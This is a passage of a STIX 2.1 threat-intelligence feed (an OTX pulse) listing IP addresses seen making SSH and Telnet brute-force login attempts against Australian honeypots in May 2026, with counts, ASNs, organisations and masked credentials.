        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.137.72.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--e15a37d5-c097-4da7-a77f-133de658ed3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.182.120.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a2132f9c-e9bc-4b6a-b21e-4cbd158c323d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.220.154.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--32739269-85ee-40a3-abd2-3526a309a68a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.222.211.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 4775. Organisation(s): Globe Telecoms.",
      "id": "indicator--4bbee740-73eb-4322-a669-1709a361ad6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.190.47.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--0049f959-f3d1-4117-807c-2f968a148ac1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.89.30.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): u****u, t**t, 3**********4, a***n, d******r. Passwords observed (masked): ***, 1**4, 1*******5, 1**********C, 2******3.",
      "id": "indicator--8ed60cc9-9b3d-46c1-a907-e40f46fd5c99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.154.106.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--3e760ffe-927e-44c0-a610-5914ed0129bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.250.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********5, H**********************3.",
      "id": "indicator--ae2ef024-4f2e-4392-8b73-3a76191eddbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.77.204.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45916. Organisation(s): Gujarat Telelink Pvt Ltd.",
      "id": "indicator--43e87f7f-c9bf-419b-b207-05657f66e8ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.241.146.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--b8c13465-bd1e-4773-a98f-5dd1143492ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.148.57.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--0447f10c-3010-45ac-857d-1410c0ae98bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.165.119.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): u****u, r**t, a***n, t*****p, 3**********4. Passwords observed (masked): 1****6, ***, 1****0, 1****1, ***.",
      "id": "indicator--afd7199a-65a3-43a3-adb0-a6feaf6b0ba0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.210.11.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--76bea26b-03ea-4e21-9028-2d50787705e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.127.172.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ZW. ASN(s): 37204. Organisation(s): TELONE.",
      "id": "indicator--c35f0b3f-9a01-466c-accf-4dd1b3b36b30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.213.42.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 138754. Organisation(s): Kerala Vision Broad Band Private Limited.",
      "id": "indicator--1e605297-7eaf-4282-9fb5-54a70d8fdfc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.154.37.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd. Usernames observed (masked): a***n. Passwords observed (masked): 1******4.",
      "id": "indicator--362952dc-874f-4067-972b-5502de62eb8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.249.84.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**a, u****u. Passwords observed (masked): *, 1********q.",
      "id": "indicator--c4abb904-98de-4c0b-91f7-fc0411a61d9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.102.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9d3b089a-47b1-4d30-8133-8935e1df5c1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.11.14.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--df516b8b-2827-4137-804d-69b198fa0d30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.230.144.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CH. ASN(s): 3303. Organisation(s): Bluewin.",
      "id": "indicator--21e7837a-d8f8-4b08-8748-e9dc11e71f6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.197.198.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--add1333a-5232-41f8-b4e0-707dbc58ffb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 273436. Organisation(s): PERES TELECOM PROVEDOR DE INTERNET LTDA.",
      "id": "indicator--da995f72-3d91-44f8-96b4-3699e804f9bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.38.22.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre.",
      "id": "indicator--86ec4b81-eb03-481f-b132-d565e4673589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.228.115.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e6dd7f39-70f6-48d6-944b-55fe527d1da0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.59.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--80633887-0ef6-46c7-acbd-b3337b80a45e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): r**t, d****y, f*****r, u****u, d****n. Passwords observed (masked): 1****6, ***, 1***5, 1******X, P******d.",
      "id": "indicator--c49113e5-41e8-4aed-934d-b2dc7425e755",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:15:10.000Z",
      "valid_until": "2026-06-04T09:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11404. Organisation(s): Wave Broadband.",
      "id": "indicator--040b5cb6-a345-40bf-8307-73679ad89200",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.220.207.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--faea1960-6ae2-401c-8778-4d2158b888b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.105.211.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--3388cc2a-a8d8-43b9-b06c-031dc86386e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.180.163.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ddcea339-dd06-4fe8-9091-369a5c4c79c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.190.83.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--bd11a2a2-5690-4f71-b2e7-92e9880ef68c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 3132. Organisation(s): Red Cientifica Peruana. Usernames observed (masked): r**t, f*****r, 3**********4, g**1, p******s. Passwords observed (masked): 1******Q, 3***********4, 3**********4, C********3, P******d.",
      "id": "indicator--3665007d-df26-4f58-971d-d3ab7b2a94c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.132.50.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--46a6b3a8-3c93-450c-aaa4-6ba7bb5df560",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.125.166.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 5483. Organisation(s): Magyar Telekom Plc..",
      "id": "indicator--63b2dd4b-3935-4c94-809c-12fc4effe623",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.6.165.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:15:10.000Z",
      "valid_until": "2026-06-04T10:15:08.000Z"
    },
    {
      "created": "2026-05-03T10:15:10.000Z",
